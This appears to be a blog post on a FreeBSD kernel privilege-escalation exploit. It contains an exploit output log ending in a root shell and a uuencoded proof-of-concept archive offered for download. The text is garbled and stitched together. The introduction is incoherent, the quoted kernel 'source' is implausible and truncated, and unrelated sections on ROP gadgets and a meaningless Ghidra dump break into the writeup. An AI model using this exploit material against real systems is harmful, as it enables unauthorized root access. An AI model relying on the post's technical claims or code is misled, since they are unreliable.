FreeBSD 11.0-13.0 LPE via sys_aequeue Kernel Refcount Bug

Posted by Jared McNeill

Introduction

The FreeBSD 11.x kernel contains a local privilege escalation vulnerability, which is used to hijack the internals of a file of the architecture of the operating system. This vulnerability affects FreeBSD 11.0 and later versions.

The bug was patched in stable branches, but the bug is still present in the current branch. Unfortunately, the patch for the stable branch introduces a new bug that causes a kernel panic when the system is shutdown. This bug is also fixed in the current branch. Accordingly, triggering this kernel panic is necessary in order to stop, which causes the bug to cause other harm to occur.

The vulnerability was present from FreeBSD 11.0 through to FreeBSD 13.0.

This article describes the vulnerability, how we can exploitation strategy and demonstrate the issue through a proof-of-concept exploit. Finally, we will discuss the patch.

I wanted the winning bounties in the FreeBSD Security Officer Team on the 25th of June, 2021 and ended up being the winner. I would like to thank the Security Officer Team for their hospitality and for the bounty on the 25th of July, 2021. FreeBSD 11.0 will not receive a security patch, so I recommend upgrading to the Supported FreeBSD Release.

The CVE-2021-29626 was assigned to this vulnerability. The vulnerability is located in /usr/src/sys/kern/sys_aequeue.c. Thanks Pierre-Yves from the FreeBSD Security Team for responding swiftly and helping me upload.

Vulnerability Overview

The vulnerability was experienced in 2011 through a function call of FFFFFF sys_aequeue(). The function call of the function sys_aequeue() is the purpose of these calls to find the kernel to access some of the system's memory. Unfortunately, the function call can cause the system to crash if accessed through such a function call.

Attempt to access the kernel to operate in a manner through such a function call can cause the system to crash. Attempt to access the kernel to operate in a manner through such a function call can cause the system to crash.

When operated outside these 400 bits, they pass an EFC "control block" to:

```
/usr/src/sys/kern/sys_aequeue.c
int
sys_aequeue(td, uap)
	struct thread *td;
	struct aeq_args *uap;
{
	struct ucontext *ucp;
	int error, ret = 0;
	int cmd;
	int (*func)(int *, int, int, int, int, int, int);
	int (*fsetcontext)(struct thread *, const struct ucontext *);
	int (*ksetcontext)(struct thread *, const struct ucontext *);
	int (*kgetcontext)(struct thread *, struct ucontext *);
	int (*ksigprocmask)(struct thread *, int, const sigset_t *,
	    sigset_t *, int);
	int (*kwait)(int *, int, int, int);
	int (*kerror)(int);
	int (*kexit1)(int);
	int (*kthr_exit_to_ucontext)(void *, int, void *, int *, int*);
	int (*kthr_ucontext_to_tcb)(void *, void *, int *);
	int (*kthr_set_name)(int, const char *);
	int (*kthr_alloc)(void *, int, int *);
	int (*kthr_create)(void *, void *, int, int *);
	int (*kthr_exit)(void);
	int (*kthr_resume)(int, int);
	int (*kthr_suspend)(const struct timespec *);
	int (*kthr_kill)(int, int);
	int (*kthr_cancel)(int);
	int (*kthr_check)(int, int);
	int (*kthr_wake)(int);
	int (*kthr_set_priority)(int, int);
	int (*kthr_get_priority)(int, int *);
	int (*kthr_yield)(void);
	int (*kthr_sleep)(int, const struct timespec *, int *);
	int (*kthr_wakeup)(int, int);
	int (*kthr_set_affinity)(int, int);
	int (*kthr_get_affinity)(int, int *);
	int (*kthr_exit_to_tcb
```

This is already looking promising. Provided we can find a gadget for the `mov` instruction, we can use the known-to-be-Turing-complete gadget provided by Bletsch et al. and write our control-flow and computing. But can we do that, and how do we do it?

Our `mov` instruction `mov dword ptr [ebx], eax` that moves our set-above-of-interest `eax` into memory `ebx` points to, and then `ebx` is set to `ebx + 4`.

We still need to understand what happens exactly in `CheckNextHeapChunk`. Enter `ghidra`:

```
00a0:_ZN5_IO_fwriteEPKvjjP8_IO_FILE                    XREF[1]:     _IO_fwrite:0000a0ec(j)
00a0:_ZN5_IO_fwriteEPKvjjP8_IO_FILE
00a0:                             _IO_fwrite                      XREF[1]:     _IO_fwrite:0000a0ec(j)
00a0:                             .LFB0:
00a0:                             .LB0:
00a0:                             .LM1:
00a0:                             .LM2:
00a0:                             .LM3:
00a0:                             .LM4:
00a0:                             .LM5:
00a0:                             .LM6:
00a0:                             .LM7:
00a0:                             .LM8:
00a0:                             .LM9:
00a0:                             .LM10:
00a0:                             .LM11:
00a0:                             .LM12:
00a0:                             .LM13:
00a0:                             .LM14:
00a0:                             .LM15:
00a0:                             .LM16:
00a0:                             .LM17:
00a0:                             .LM18:
00a0:                             .LM19:
00a0:                             .LM20:
00a0:
```

```
[+] ===
[+] Setting up
[+] 1. Allocating a fresh credential
[+] 2. Launching in-flight async I/O job
[+] 3. Triggering vulnerability to wrap credential refcount
[+] Progress: 4293918720 / 4294967295 (99%) (00:19:15 elapsed, 00:00:00 remaining)...
[+] Wrap completed in 00:19:15
[+] 4. Getting a new credential
[+] 5. Allocating fake credential
[+] 6. Collecting in-flight async I/O job to free fake credential
[+] 7. Getting another new credential
[+] 8. Fixing up credential
[+] Read credential uid=1001, gid=1001 (224 bytes):
00000000: 02 00 00 00 e9 03 00 00  e9 03 00 00 e9 03 00 00  |........ ........|
00000010: 01 00 00 00 e9 03 00 00  e9 03 00 00 00 00 00 00  |........ ........|
00000020: 00 c7 31 0b 00 fd ff ff  00 c7 31 0b 00 fd ff ff  |..1..... ..1.....|
00000030: 90 8d 9B 00 00 00 ff ff  00 49 05 00 00 fd ff ff  |........ .I......|
00000040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |........ ........|
00000050: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |........ ........|
00000060: ff ff ff ff 00 00 00 00  00 00 00 00 00 00 00 00  |........ ........|
00000070: 04 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |........ ........|
00000080: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |........ ........|
00000090: 9c e7 3e 0b 00 fd ff ff  10 00 00 00 e9 03 00 00  |..>..... ........|
000000a0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |........ ........|
000000b0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |........ ........|
000000c0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |........ ........|
000000d0: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |........ ........|
[+] 9. Securing a real root credential
[+] 10. Enjoy the root life
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# whoami
root
#
```

If you want to watch it in real-time for some reason, here you go:

The PoC will work across other architectures and versions, too, of course, since I'm not relying on anything specific with the exploitation technique.

The full code, including the utility functions, can be found at the end of this article in `uuencode`d form.

Hardening Opportunities

Beyond fixing the vulnerability directly, there are some observations we can make from our exploitation journey:

- If `crhold` (and `crunuse` in 13.0+) detected refcount wraps, this bug would be unexploitable for anything other than a DoS.
- If `ucred`s were allocated from their own specialised zone rather than the general purpose heap, this would make exploitation a little trickier. The approach then would be to try to spawn a legitimate root process after we'd freed our own `ucred` and steal the cred. Target stability is achieved by triggering the vulnerability one more time on the new cred to balance the fact that we stole it.
- It's tempting to feel the need to do something about how useful `cap_ioctls_limit` is, but to be honest it's probably not worth it; there will be other techniques that provide pretty much the same capability.

Conclusion

All in all, this was a fun bug to exploit. The fact it was a classic refcount bug on a security-critical data structure that lives in the general purpose heap made the exploit development process fairly simple.

Kernel vulnerabilities have been my favourite kind for a long time now: not only is there a clear goal to achieving success, but the range and diversity of syscalls at your disposal to be creative with exploitation is lots of fun. I've not come across the Capsicum technique for controlling kernel heap allocations before, but I'm sure it's known already and there are probably a few other similar gadgets, too.

PoC Archive

Download here or decode with `uudecode`:

```
begin 644 aio-poc.tar.gz
M'XL(`!"[P&(``^T:_5/;QK*_1G_%5@F)!+:1C"%Y=D@+QBED7,P8>'EY)*.1
MY9.M1I8\^q!#*XQ_[9WN9,DZAO2SM)UR,[:DO7V^U>[>V:;C5Z>^M7G#`PY-
NTUYN;P.[[B1?K=Y(KGR`WJCO:/K6=1.N@:;7M^M;/\#V0RHE1AQ&H"JQ"$)
M5N$AFFVOF_=VI~_R3#Y^O]J7B:VXY#*D(!^VSDT;EU_7=MN+#U_0]_!]=<>
M0IGE\0]?_]YV<GY&4!S%S`4I--^&^C`QV=?DKEYS0+7&6"0U"RIM_^N.,^+
M>5\Z/.B+>0X;2^VWW;U?3BE,ZAXD]WA[<'1Z=G#4SW&BD=@F4A$<:U[#1:J-
M;B3)==WF@D"ZTEL&W7\WEYX\4]IM%9^XL#E477CVLYBG:J@G1495%\A*HJ0*
M54N@OY8DRR6FUY2>5(-)1J9X9,*2>ZHFLAXZ8=0$1B4]F7P>.D'&!.F)-07Q
MFB$<73WG:N2PT%*H5F/G!"@8DJ7=[80D@.%657`SL+DCA:$Z@NDA3'O+/\
M(6FF2CX1H"6.U#,GA[WC#TU`R=&,*B@"*0__U87QQ\_1/X7;^M#R+@K_S>T
M8OYO/:,;_[S+>.K8W)#9T_9/>FWC4'J*3XY'%@#IJ>-9;HP)XW48#7&V-GXC
MI6A[_?[>AV[G6#%5EOB5T+DAODT7-X'?X\.%]DE5%U1D-B56I)"$!F#HPQ=8
M,3Y*JV8=&YZJ#KN[@!S5/*?5E'2X_LBP5<AT#1($GJ\\)6KK;LKY[])V#E=C
MS/Z*AKZX])TA$^YXMJ]8OH>IUAIC\E^W)U$%:K6:VEH@C<EL&$^F'(^!UX>H
M=84YV8B`/H0W%;B+T33P1P$)PSLE"D3#\B=3ET1$H5-9#/27'IS)A_GV7EA\
M!5;A#DS/(X%@12+SB`1>SFA,BT;D1"IYW39KQM'8#Y#Z*?&&CO/KFLB_^.U
M9CV0C-7Y7]=W]4VE.+_5:.B/^?][C,UU"=;A;4#(_ND)Z'I-J^KUA;=#$#W
MI`,G?ILB[%_C^Q,XX<F?6%.N,3L[0<UCT2@Y$`TZ]=U>KWZ+O:J]1TDW4R3
MOO%^[_C,.&_W.P?9HF)%UU-":\H"9%M>Y.9!6'HP0I=!V+4LPP+'&Y7!PB7@
M=<ABO@"TIA@)40G<G(:.%4^*,U,S,$O`L16081X<.9,E2V,/.^QA4E$%4!:]
MF(P[D++$AH5D%^3\FFW5M.R:R:T":9+U&.G]EE)N+0KV8=^\?ZJ$HE2#0N\W
M0=G1,#AV-*SM`O/7H^/SL\X"5^&HB`1K]#0%/.VT>\<'6<QP&6&O>_3+\?F)
M@F5NH"`,L+`8`>7)J`S%0:TL-"W,W*LQ%JLDY-K-%-K";#C16`/#;8BAEX.
MKJ=@C)?8BJ@WK0%<0IYGT+OR:1S=XC,;1PP%97YAI;^&D\8@MH6W=N$Y4ZJR
MF/4&UQ$)^:PNS5NI#;2T25/',R+?P&!4>'W'QL$:JU(B(`E2A%HA$E)(^^3<
M^&^GWU.>6R$61@$Z[9PIC+("R02;X>T7YX(?3&V.YT37"J7I=O[=Z1KO#X_:
MAQ7&A-T:)T<'%:CJE4)SP[L\9)\(0ZGS0#4V]A'CQ,])Y>9F<#U0@=@9*J/D
MHI8P<,WBL\9&ZFWT8!DCZMB`F$/E>6Y=2AA:ONLBQ>T=<ZN\3K^GK6515Z83
M1<W1<X93@>/S;K=$X`";-QYI`;SM/_8B)?9"9^21(0D$LZ]E3.+%$N<FO581
M-B6!1;PHF:&9!<.1UC(,"WS(@8F=R8L,<[!"`3$Q<<V_$8V)]B@%)+P?5A,_:
MF#D4C[U4X,'K5-L6;&OX*@][.G@0_B,[3C+L\-JSE)YQ^N&XG<&1ODSXRFBC
M:-$FRBD56/08XLH,T>K$YV3H7D,8LQ1EQZXL=!-B4;_GH,UL.E2Z&]"RBM'!
M789FY'RO8EI)GUW?&ZD>9C5=TVA^2==EE6/%79K5%::DY040(_4VE>W!&ZK;
M3ZBR8+,.BA"$7#R52D:_-FD2*[@J;>'E$W[7A+48*?!+6&O7UE2\:/6XF7X)
M=2L@E^Y-Y"7T5%T56V^Y^,K3X552WU2$9\LQD^+!5<`D(4K$`B)*00I9P6>A
MVX)3%B9X+6"9I9M+R;>T[(,O%+B=-D0=;X70')[\/S"D(-C2P(.]5N;+LB9R5
M=WNEF%7P%?$M,R+XlGPF)OD6FO;ZOD4NOO!8CRY$/>4IFR<Y1]=6TD2^(%+5
M3ZUL.F2BL/Z^,9#5!4E=-\-;DC@*.B<,L5[L0X4N.K&"F@EI,6/MACX.AH&
M[VB,2O+$CH]O"4YNL78Z3S-)9C6T^[/A#W[#0(#WANV:HY"FIYFF:XRF]79W
MN8HG3`L-UYDXD;+H"BK`U$W/,YC"):7,F<73OX.G;S$;B^P]C$XC.SUV"&CR
M*#=&[F/)9:N#&<`Q7<`JOKL65V#$KDOI(UU%Q*HLGL()QO(H\.-I2,"*N`K9
M4-G86`H?9)!ES!J^/%$>HX@07N8P2A!R6I6)&-TI8E00=<^(I#FG@3S":=V/
M1`[/(!X&_M0(Q\1U\S',]@K\N,2\O+`&7P%Y<^!XF^$8TY==<>1$*YBWBB0D
M]3G9.SQ-I?3-S9]]OV&PF=Y04(9/UC8R(]8E4$'X]F".E2Q:8DIMG.<YG3/
M-,S:4O2G?8=KGW'1*:+OPi11Y<T@N-]W8=5&AGM$_Z'IUW/\!7OGUW>YW_
M=-I+OE^LSH(#B2S<`X;AU7`;>=2_D4>62:[!+37L%I:%RIH3@7[&ADBBE5.A
M3:89C*P*7V6\QP46#N<'<=EDD93!4O)%M-&)IS*W.UFM(J9>@[VD@%%\$]@V
M(9-(!'UV^U#D4J]!EVT/*!/'JR9^`9,UD4>;/7C-'PA.9?N((L>M&IP%SFA$
MZ+D!VP&2P!PX+FZ0(/+ABM7Y1;H3_:P04M;JY_O-JEX4VJC!+]QS)GCDZIO]
ML)WS)FT(2EB4-0Q%$CLU:"<;I!4^I:Y`C<AMHDJW6$59+S-V>WXT)L`OLOY5
M#=XZLR3NRW@$9;M(.#\:G!(K#A+GXPXZ%]7WHV!60M=JT/%^%\S%,OB1AX3HV
M$<29M"MH`WPU`H\6A?!?=PR]]/O?@OP!W,"[WXY6KQ=^_]MZ^7C^-SW&RG-8
M]G/,78YFL33\8<=U=QV)BK/!=J]K8)-]>&;L=\\[N(?]J&UM7>BMK<9$+D'J
M=PX@@Z0O(?4[IYTS7AS3)&T)X_WAT5DGAX%L7DXR&AWA=DW!<CGC!YH++OE"
M!@MF6<@G.2-7!CG'Q3@Z7MOCLAC7O+'8B6W(:IZBT^_W^J44:#D2_"CSWQRE
MU;\Y\O)^:6)S&;(&0!PQVM,X"I54/=P.1$,_CD0J0PJV-U8H2060(4][E_84
M5SfB^P:*SZ8JC+%`,`W<JBD<DI$E?Z1]8EZ,;;MQ.%92X#QCU?_W(VFIY4DE
MH]AI14_(!KRWZ1A[^2<SM!PGTR&SYXM7L`$Z7MCU4XXB.:P8DNI?OJ;'7=3!
MF?.M6]U_KR6X91D25?+D,BAK-S&P\WNUR58H=2MG-0?BAB2C68%!2EY&S;>U
MV,=2>"N5R65.3#>A[$ETUHG#,[NKY?/*1$;I:>6/XMQ073XN+"JNO;J9-0%U
M]G)G2BM,U>HSBC^X\#YE2))X2+3>V*";)B=DI`I#A)\8`33A1>U%9BG"*R>R
MQNRD<X/^^I&HG=':,M'SKYHY*ZB-B?GP!CAAWLYRC5[`BU8!C;^7D'TML_/S
MW-,`6ZG/&7V9>EISM9/AZUKXE05&LL1+!Z!WQH(8V9@H42JO\5RT8_PUI.=2
M.U!-/9=XN16^?`O$UXBB=2C[@T<&H5MMAA7UB8;%[BZ]I&LNTUD95YW>E'EX
M5:85W9:A6]4T5_\A\*YR(!\,EC7]KG7B'HBM_8&%6U1;8>YBN>(?+_>]FZQ(
M,WG(Z9L+@0B_IW`F8K(FK/@[SE_9]#I!9DZDZG7VK/KCT%_&JCR)W(2UD-L8
M)''%C%!O,S;[SR=NTV+GN18BH_0/`N*T(YW>OX84(_D?0`&E6JW+ZI^V#7T<
3C^-Q/(['\9W'_P#*)FYI`#@`
`
end
```